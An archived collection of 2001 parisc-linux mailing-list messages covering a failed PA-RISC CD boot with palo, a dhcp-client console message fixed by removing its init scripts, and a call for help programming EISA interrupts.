
	-P

	-P



From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More Install on C110: Kernel doesn't load...
Date: Fri, 2 Nov 2001 10:38:11 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <00FAA796-CFB0-11D5-A1E4-0030657D1C94@bigw.org>
References: <E15zh1a-0006SD-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620697 29019 80.91.229.3 (22 Nov 2014 01:44:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 09:38:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from beloit.edu (beloit.edu [144.89.40.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61773482B
	for <parisc-linux@parisc-linux.org>; Fri,  2 Nov 2001 09:38:13 -0700 (MST)
Original-Received: from localhost ([144.89.185.182])
	by beloit.edu (AIX4.3/8.9.3/8.9.0) with ESMTP id KAA33452
	for <parisc-linux@parisc-linux.org>; Fri, 2 Nov 2001 10:32:49 -0600
In-Reply-To: <E15zh1a-0006SD-00@noam.fc.hp.com>
X-Mailer: Apple Mail (2.472)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12873

The ISO image burned is 137,854,976 bytes in length...  at some point 
here I'll cat /dev/cdrom > /dev/null to check the media and make sure 
there's not a problem, but I'd be inclined to think its something with 
the format on CD...  Here's the file I fed into my port of palo:

-c0/vmlinux root=/dev/ram initrd=0/ramdisk
-k/Volumes/palinux-0.9.1/debian/dists/sid/main/disks-
hppa/current/32/vmlinux
-b/Volumes/palinux-0.9.1/iplboot
-r/Volumes/palinux-0.9.1/debian/dists/sid/main/disks-
hppa/current/root.bin
-C./palinux-0.9.2.iso

When mounted, the 0.9.2 ISO's name is palinux-0.9.1, because it was 
mastered like that?  Anyway, I assume the kernels on the ISO image are 
OK to use?  I can't of course compile them myself because I don't have 
an hppa cross compiler (no x86 box).

Dan

On Friday, November 2, 2001, at 10:18 AM, Paul Bame wrote:

> = >Entry 00100000 first 00100000 n 4
> = >Segment 0 load 00100000 size 160694 mediaptr 0x1000
> = >Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
> = >Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
> = >Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
> = >
> = >Error: read from boot device failed (status = -4)
> = >byteio_read: seekread() returned -1 expected 2048
> = >Error:  segment 0 read() failed
>
> palo has read thee ELF header by then, but fails to read the first
> program segment (0).  It's unusual for things to die here.  The
> firmware docs say error -4 is "unrecoverable hardware error".
> Perhaps the ISO image got truncated or is shorter than it should be?
>
> 	-P
>
> 	-P




From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More Install on C110: Kernel doesn't load...
Date: Fri, 2 Nov 2001 11:19:22 -0600
Lines: 77
Approved: news@gmane.org
Message-ID: <C1EFE8B4-CFB5-11D5-A1E4-0030657D1C94@bigw.org>
References: <E15zhlW-0006XZ-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620697 29021 80.91.229.3 (22 Nov 2014 01:44:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 10:19:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beloit.edu (beloit.edu [144.89.40.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4997E482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Nov 2001 10:19:25 -0700 (MST)
Original-Received: from localhost ([144.89.185.182])
	by beloit.edu (AIX4.3/8.9.3/8.9.0) with ESMTP id LAA25182
	for <parisc-linux@lists.parisc-linux.org>; Fri, 2 Nov 2001 11:14:00 -0600
In-Reply-To: <E15zhlW-0006XZ-00@noam.fc.hp.com>
X-Mailer: Apple Mail (2.472)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12874

I was under the impression, from reading the READMEs on the CD that I'd 
need to make it bootable, that the downloaded ISO isn't bootable in the 
first place...  This is probably wrong now that you bring it up :)  But 
I haven't tried to burn a CD from the virgin downloaded ISO that wasn't 
changed by my palo.  I'll try that.

Dan

On Friday, November 2, 2001, at 11:05 AM, Paul Bame wrote:

>
> I'm missing some information -- something doesn't feel right.
>
> Your downloaded ISO didn't work at first but now you've discovered
> the magic for how to burn CDs.  I would try the 0.92
> downloaded ISO again in that case.  If it fails, the ISO is probably
> corrupt, and neither it, nor any magic you might do upon it by porting
> palo yourself, is a reliable repair.
>
> Basically if you can burn your home-grown ISO and get as far as you
> have, you should be able to burn the downloaded one too the same
> way.  Check the md5 signature to see if the download is OK.
>
> Why run palo unless you need a different kernel than is on the 
> downloaded
> ISO?
>
> = The ISO image burned is 137,854,976 bytes in length...  at some point
> = here I'll cat /dev/cdrom > /dev/null to check the media and make sure
> = there's not a problem, but I'd be inclined to think its something with
> = the format on CD...  Here's the file I fed into my port of palo:
> =
> = -c0/vmlinux root=/dev/ram initrd=0/ramdisk
> = -k/Volumes/palinux-0.9.1/debian/dists/sid/main/disks-
> = hppa/current/32/vmlinux
> = -b/Volumes/palinux-0.9.1/iplboot
> = -r/Volumes/palinux-0.9.1/debian/dists/sid/main/disks-
> = hppa/current/root.bin
> = -C./palinux-0.9.2.iso
> =
> = When mounted, the 0.9.2 ISO's name is palinux-0.9.1, because it was
> = mastered like that?  Anyway, I assume the kernels on the ISO image are
> = OK to use?  I can't of course compile them myself because I don't have
> = an hppa cross compiler (no x86 box).
> =
> = Dan
> =
> = On Friday, November 2, 2001, at 10:18 AM, Paul Bame wrote:
> =
> = > = >Entry 00100000 first 00100000 n 4
> = > = >Segment 0 load 00100000 size 160694 mediaptr 0x1000
> = > = >Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
> = > = >Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
> = > = >Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
> = > = >
> = > = >Error: read from boot device failed (status = -4)
> = > = >byteio_read: seekread() returned -1 expected 2048
> = > = >Error:  segment 0 read() failed
> = >
> = > palo has read thee ELF header by then, but fails to read the first
> = > program segment (0).  It's unusual for things to die here.  The
> = > firmware docs say error -4 is "unrecoverable hardware error".
> = > Perhaps the ISO image got truncated or is shorter than it should be?
> = >
> = > 	-P
> = >
> = > 	-P
> =
> =
> = _______________________________________________
> = parisc-linux mailing list
> = parisc-linux@lists.parisc-linux.org
> = http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> =




From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Irritating console message in 0.9.2 iso
Date: Fri, 02 Nov 2001 12:33:42 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <3.0.5.32.20011102123342.018d7920@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620698 29023 80.91.229.3 (22 Nov 2014 01:44:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 10:33:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28E5E482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Nov 2001 10:33:52 -0700 (MST)
Original-Received: from old@istop (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with SMTP id C5C4B17017
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Nov 2001 12:34:12 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12875

I have installed 0.9.2 on my two 712's (a /60 & a /80) with no problems
(except learning about Debian).
I am however bothered by a message which is displayed on the console at
irregular (I think) intervals - sort of in bursts, then stops for a bit.
The message makes it impossible to use dselect to proceed with the rest of
the installation - the menu items in dselect get overwritten and it's not
possible to determine what I have selected etc.

The message is:
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
skb: pf=2(unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F-0x0000 T=16

Now that is not cut and paste but the words are correct.

Hope someone has an answer!

Regards, Herb




From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Irritating console message in 0.9.2 iso
Date: Fri, 2 Nov 2001 18:18:45 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20011102181845.H5773@linuxcare.com>
References: <3.0.5.32.20011102123342.018d7920@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620698 29026 80.91.229.3 (22 Nov 2014 01:44:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 11:17:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA67A482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Nov 2001 11:17:13 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 139DAB00C; Fri,  2 Nov 2001 18:18:45 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3.0.5.32.20011102123342.018d7920@mail.magma.ca>; from herbr@magma.ca on Fri, Nov 02, 2001 at 12:33:42PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12876

On Fri, Nov 02, 2001 at 12:33:42PM -0500, Herb Radford wrote:
> I have installed 0.9.2 on my two 712's (a /60 & a /80) with no problems
> (except learning about Debian).
> I am however bothered by a message which is displayed on the console at
> irregular (I think) intervals - sort of in bursts, then stops for a bit.
> The message makes it impossible to use dselect to proceed with the rest of
> the installation - the menu items in dselect get overwritten and it's not
> possible to determine what I have selected etc.
> 
> The message is:
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
> skb: pf=2(unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F-0x0000 T=16
> 
> Now that is not cut and paste but the words are correct.
> 
> Hope someone has an answer!

Just added

> dhcp-client is started from init scripts, when it should only be invoked
> via ifup and ifdown.  The result is that any manual network
> configuration may be overwritten, and you may see messages like
> "ip_local_deliver: bad loopback skb..." on the console.  Fix with
> "rm /etc/rc?.d/*dhcp-client".

to the errata, which I believe will solve your problem.

Richard




From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More Install on C110: Kernel doesn't load...
Date: Fri, 02 Nov 2001 15:21:46 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <200111022221.PAA07613@puffin.external.hp.com>
References: <dan@bigw.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620698 29034 80.91.229.3 (22 Nov 2014 01:44:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Daniel Williams <dan@bigw.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 15:25:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83B07482B
	for <parisc-linux@parisc-linux.org>; Fri,  2 Nov 2001 15:25:49 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA07613;
	Fri, 2 Nov 2001 15:21:46 -0700
In-Reply-To: Message from Daniel Williams <dan@bigw.org> 
   of "Thu, 01 Nov 2001 21:18:31 CST." <4A91AEBA-CF40-11D5-A1E4-0030657D1C94@bigw.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12877

Daniel Williams wrote:
> Error: read from boot device failed (status = -4)
> byteio_read: seekread() returned -1 expected 2048
> Error:  segment 0 read() failed
> 
> Any thoughts?

When burning the IA64 boot CD, i was warned to use the 2x (vs 4x) burn
speed. This sounded like hogwash to me but the person was told the disk
burned at 4x may not work well with older/slower CD drives. If someone
could confirm this I'd appreciate it...anyway, the ia64 CD worked fine.

grant



From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Irritating console message in 0.9.2 iso
Date: Fri, 2 Nov 2001 17:27:25 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <5360C45FAB301541AEB3C6A45A6B6A02706844@ocst09.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620699 29046 80.91.229.3 (22 Nov 2014 01:44:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Richard Hirst'" <rhirst@linuxcare.com>,
	Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 15:28:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id D541E482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Nov 2001 15:28:54 -0700 (MST)
Original-Received: from attrh3i.attrh.att.com ([135.71.62.12])
	by kcmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id fA2MSmY01306
	for <parisc-linux@lists.parisc-linux.org>; Fri, 2 Nov 2001 17:28:52 -0500 (EST)
Original-Received: from flf960bh1.ems.att.com (135.71.27.20) by attrh3i.attrh.att.com (5.5.029)
        id 3BE2C8EC000131BE; Fri, 2 Nov 2001 17:28:31 -0500
Original-Received: by flf960bh1.ems.att.com with Internet Mail Service (5.5.2653.19)
	id <WBWP6SR3>; Fri, 2 Nov 2001 17:28:32 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12878

I wiil add that this is a effective fix although quick and dirty. 

But first, you must stop the message by shutting down the dhcp client. 

Running "/etc/init.d/dhcp-client stop" as root will stop the messages from
displaying on the console immediately. 

Then, you can remove the dhcp-client startup scripts if you like.

An alternative solution to this problem is to change line 17 in
/etc/init.d/dhcp-client from "grep -q" to "grep -v -q" to prevent the dhcp
client from starting when the machine is rebooted.

Aubrey

-----Original Message-----
From: Richard Hirst [mailto:rhirst@linuxcare.com]
Sent: Friday, November 02, 2001 1:19 PM
To: Herb Radford
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Irritating console message in 0.9.2 iso


On Fri, Nov 02, 2001 at 12:33:42PM -0500, Herb Radford wrote:
> I have installed 0.9.2 on my two 712's (a /60 & a /80) with no problems
> (except learning about Debian).
> I am however bothered by a message which is displayed on the console at
> irregular (I think) intervals - sort of in bursts, then stops for a bit.
> The message makes it impossible to use dselect to proceed with the rest of
> the installation - the menu items in dselect get overwritten and it's not
> possible to determine what I have selected etc.
> 
> The message is:
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
> skb: pf=2(unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F-0x0000 T=16
> 
> Now that is not cut and paste but the words are correct.
> 
> Hope someone has an answer!

Just added

> dhcp-client is started from init scripts, when it should only be invoked
> via ifup and ifdown.  The result is that any manual network
> configuration may be overwritten, and you may see messages like
> "ip_local_deliver: bad loopback skb..." on the console.  Fix with
> "rm /etc/rc?.d/*dhcp-client".

to the errata, which I believe will solve your problem.

Richard


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA interrupts
Date: Sat, 3 Nov 2001 07:24:29 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20011103072429.B10563@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620699 29057 80.91.229.3 (22 Nov 2014 01:44:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  3 00:24:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24ABF482B
	for <parisc-linux@parisc-linux.org>; Sat,  3 Nov 2001 00:24:31 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15zvAL-0004ol-00
	for parisc-linux@parisc-linux.org; Sat, 03 Nov 2001 07:24:29 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12879

To get ISA/EISA interrupts working, I think we're going to need to
program the 82357 ISP chip properly.  You don't need any knowledge of
the Mongoose/Wax chip to do this; all you need to know is that the byte
read from 0xfc01f000 in eisa_irq is the byte generated by the 82357.
Any volunteers?  It should be straightforward, but I don't have time to
do it myself.  The data sheet's linked to from the p-l.org documentation
page.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA interrupts
Date: Sat, 3 Nov 2001 13:12:23 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20011103131223.A2303@zaphod.halden.lillfab.se>
References: <20011103072429.B10563@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620700 29065 80.91.229.3 (22 Nov 2014 01:45:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  3 05:12:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maila.telia.com (maila.telia.com [194.22.194.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C538482C
	for <parisc-linux@parisc-linux.org>; Sat,  3 Nov 2001 05:12:28 -0700 (MST)
Original-Received: from d1o70.telia.com (d1o70.telia.com [62.20.148.241])
	by maila.telia.com (8.11.6/8.11.6) with ESMTP id fA3CCOo20570;
	Sat, 3 Nov 2001 13:12:24 +0100 (CET)
Original-Received: from zaphod.halden.lillfab.se (t8o70p1.telia.com [217.208.220.121])
	by d1o70.telia.com (8.10.2/8.10.1) with ESMTP id fA3CCNf17955;
	Sat, 3 Nov 2001 13:12:24 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id NAA02655;
	Sat, 3 Nov 2001 13:12:23 +0100
In-Reply-To: <20011103072429.B10563@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Sat, Nov 03, 2001 at 08:24:29 +0100
X-Mailer: Balsa 1.1.4
Original-Lines: 16
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12880

On 2001.11.03 08:24 Matthew Wilcox wrote:
> 
> To get ISA/EISA interrupts working, I think we're going to need to
> program the 82357 ISP chip properly.  You don't need any knowledge of
> the Mongoose/Wax chip to do this; all you need to know is that the byte
> read from 0xfc01f000 in eisa_irq is the byte generated by the 82357.
> Any volunteers?  It should be straightforward, but I don't have time to
